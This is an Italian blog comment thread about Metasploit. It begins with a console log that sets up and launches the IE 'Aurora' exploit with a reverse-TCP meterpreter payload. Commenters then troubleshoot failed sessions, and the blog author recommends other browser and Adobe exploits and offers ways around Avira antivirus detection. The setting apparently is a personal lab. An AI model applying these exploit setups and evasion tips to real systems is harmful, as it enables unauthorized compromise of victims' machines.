Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.0.3
SRVHOST => 192.168.0.3
msf exploit(ms10_002_aurora) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.0.3 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.0.3 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, none, process
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms10_002_aurora) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms10_002_aurora) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.0.3 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, none, process
LHOST 192.168.0.3 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
lancio exploit
esito:
msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://192.168.0.3:8080/5V3Uay4GZokGXbP
[*] Server started.
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.0.2
all'infinito......
24 Novembre 2010 alle 8:13
@ zittinobob
Qual'è la versione di Internet Explorer?
L'exploit disponibile in Metasploit funziona correttamente soltanto con Internet Explorer 6 (ovvimente non patchato).
24 Novembre 2010 alle 15:59
credo sia la 6 non pacciata infatti..... io penso che siano le porte nn aperte sul linux, ma onestamente non so aprirle....
24 Novembre 2010 alle 19:44
@ zittinobob
backtrack non ha nessun fiewall attivato per default quindi a meno che tu non abbia installato qualche pacchetto particolare direi che le porte sono sicuramente tutte aperte.
Il Windows XP è in italiano o in inglese?
Ci sono software antivirus installati?
Io direi che il comportamento da te descritto è riconducibile ad un exploit che fallisce sul lato client in quanto metasploit non inizia nemmeno ad inviare il primo stage del payload meterpreter.
Un'altra domanda: sul client l'internet explorer va in crash o rimane aperto?
25 Novembre 2010 alle 17:49
Mirko, ti ringrazio per la tua disonibilità
allora: xp in italiano e antivirus disattivato. explorer rimane aperto. la cosa che mi faceva pensare al firewall è che se lancio dal windows Zenmap sul linux mi dà tutte le porte chiuse. come mai?
ancora grazie
26 Novembre 2010 alle 10:26
@ zittinobob
Mi sembra corretto, se ci fosse un firewall attivo verrebbero riportare come "filtrate" e non come "chiuse".
Se esegui una scansione dopo aver avviato l'exploit "aurora" dovresti vedere come "aperte" le porte 8080 e 4444 (default).
Ti confermo che l'exploit funziona anche con la versione in lingua italiana di Windows XP/Internet Explorer.
A qusto punto, se il browser rimane aperto e non si blocca, mi viene da pensare che sia una versione patchata... o che l'antivirus stia comunque bloccando il tentativo di sfruttare l'exploit.
Non mi viene in mente altro.
1 Dicembre 2010 alle 15:55
scusa il ritardo. ho fatto la verifica e infatti le porte sono aperte nel mentre è in atto il tentativo di exploit. mi sa che è il browser che è "pacciato". allora perchè non mi indichi un exploit che posso provare? te ne sono grato se mi darai qualche informazione. e ti ringrazio anche per la tua disponibilità
1 Dicembre 2010 alle 16:43
@ zittinobob
i più recenti per Internet Explorer sono:
- ms10_046_shortcut_icon_dllloader
- ms10_042_helpctr_xss_cmd_exec
alternativamente puoi provare con un exploit che, sempre tramite pagina web, colpisca le applicazioni che si integrano in Internet Explorer tramite plug-in come ad esempio Adobe Reader, Qick Time, Flash Player... per Adobe Reader è disponibile uno 0day:
- adobe_cooltype_sing
10 Dicembre 2010 alle 16:10
scusa il ritardo, ti aggiorno.
l'exploit adobe è ok: provato, funziona.
meterpreter è una cosa incredibile...... (per quel poco che riesco a farci, per ora).
l'ms10_046 funziona, ma lo intercetta il mio antivirus Avira
l'ms10_042 lo intercetta l'antivirus, ma non va: si blocca anche senza antivirus.
adesso provo a testare altri exploit.
ti ringrazio dell'attenzione che mi hai prestato.
se mi puoi dare qualche altro consglio....
ciao
11 Dicembre 2010 alle 0:31
@ zittinobob
dovresti essere in grado di aggirare l'Avira utilizzando l'ultimo 0day di Internet Explorer ms10_xxx_ie_css_clip.
Si tratta di un Heap Overflow, risulta lento e poco affidabile.
L'unico consiglio che posso darti è quello di disabilitare l'opzione avanzata "InitialAutoRunScript" ed eseguire "run migrate -f" manualmente una volta ottenuta la sessione meterpreter.
13 Dicembre 2010 alle 11:16
Mirko, ho provato ma crasha.... in giro su google ho letto che è possible tremite "encode" nascondersi dall'antivirus, ma non ho cpaito bene la sequenza dei comandi. ne sai qualcosa ?
gentilissimo.....
14 Dicembre 2010 alle 10:03
@ zittinobob
In questo caso è normale che il browser vada in crash, però dovresti ottenere una shell prima che si chiuda.
Secondo me se il browser arriva al crash significa che l'antivirus non è intervenuto nel modo corretto quindi impostare manualmente l'encoder non ti dovrebbe servire.
In ogni caso ti ho fatto un breve video .swf cercando di simulare una situazione simile alla tua, ecco il link: ms10_xxx_ie_css_clip.zip
17 Dicembre 2010 alle 17:44
@mirko
provato ma non va. l'AVIRA lo legge. ho provato anche altri sistemi di encoding trovati su altri blog, ma l'antivirus l'acchiappa sempre. da una parte sono contento, ma vorrei capire meglio, non credi?
ti ringrazio dell'attenzione e, se non ci "leggiamo", faccio a te e a tutti gli amici del blog tanti auguri di buon natale.
18 Dicembre 2010 alle 13:32
@ zittinobob
Ti ringrazio per gli auguri e ricambio.
Probabilmente tu utilizzi AVIRA Premium che fa maggiori controlli sul contenuto delle pagine web rispetto alla versione FREE.
AVIRA Premium riconosce l'exploit come HTML/Silly.Gen giusto?
Se è così allora visita il link che ti ho appena dato e leggi la descrizione completa della minaccia, sono certo che se ci pensi bene troverai la risposta da solo... l'encoding del payload non c'entra.
20 Dicembre 2010 alle 14:22
scusa, probabilmente è una domanda stupida ma gli indirizzi ip devono essere quelli di connessione(quello che cambia ogni volta per capirci)o quello del computer che trovo col solito percorso esegui cmd ipconfig eccetera ? scusa ancora per la mia ignoranza
20 Dicembre 2010 alle 19:01
@ anonimo
quelli che ottieni digitando il comando ipconfig.
20 Dicembre 2010 alle 16:55
@Mirko
cavoli, questa si che è bella..... adesso non dormirò per parecchie notti !!
Allora la descrizione dell'Antivirus riguardo allHTML/Sylli.Gen è questa: Talvolta anche i malintenzionati commettono degli errori. Se un autore di malware è titubante e commette un errore che ci aiuta a rilevare il malware stesso (esistono diversi modi per farlo), AheAD lo segnala come HTML/Silly.Gen.
mio dio.... non capisco nulla.....
qualcuno che mi fa un po' (!) di luce?
thanks
21 Dicembre 2010 alle 14:05
scusa, ma qualsiasi exploit e qualsiasi payload selezioni, nache usando un encoder il risultato ultimo è sempre:
Exploit completed, but no session was created
ho usato gli exploits + aggiornati e i migliori encoders quindi non credo si tratti di un problema di penetrazione, ma allora cos'è ?
altra cosa quando lo scarico blocco norton 360 (so ke è una mer*a ma l'ho pagato e me lo tengo) ma quando lo riattivo mi blocca alcuni dei file di metasploit. c'è un modo x fermarlo ?
grazie in anticipo e buon natale
21 Dicembre 2010 alle 20:25
@ herryco86
@ zittinobob
Vi ringrazio sinceramente per gli auguri, per aver commentato e per aver dato il vostro contributo al blog ma vi devo informare che non è mia intenzione entrare nel merito di questi aspetti che vanno ben oltre le problematiche "sistemistiche" legate all'utilizzo del framework.
17 Agosto 2011 alle 3:58
ciao,ho letto l'articolo a me mi capita invece che utilizzando metasploit in back box 1.05
e uso virtual box ose come macchina virutale un windows xp sp3 del 2002 gia attivato
mi parte l'esploit mi parte pero non mi da il payload ovvero carica e basta cosa potrebbe essere??
sto utilizzzo come connessione di rete il NAT e come connesione internet la chiavetta dell'3
cosa potrebbe essere?? e quando testo sui file dll non mi da i privilegi root
21 Marzo 2012 alle 17:31
Ciao mirko la tua guida pare che funzioni sul xp7 tranne due errori
1)al comando: use windows/dcerpc/ms03_026_dcom. Mi dice(ms03_26_digicom
2)e alla fime quando lancio exploit mi dice:exploit completet, but no session was
created.
Sapresti come aiutarmi per favore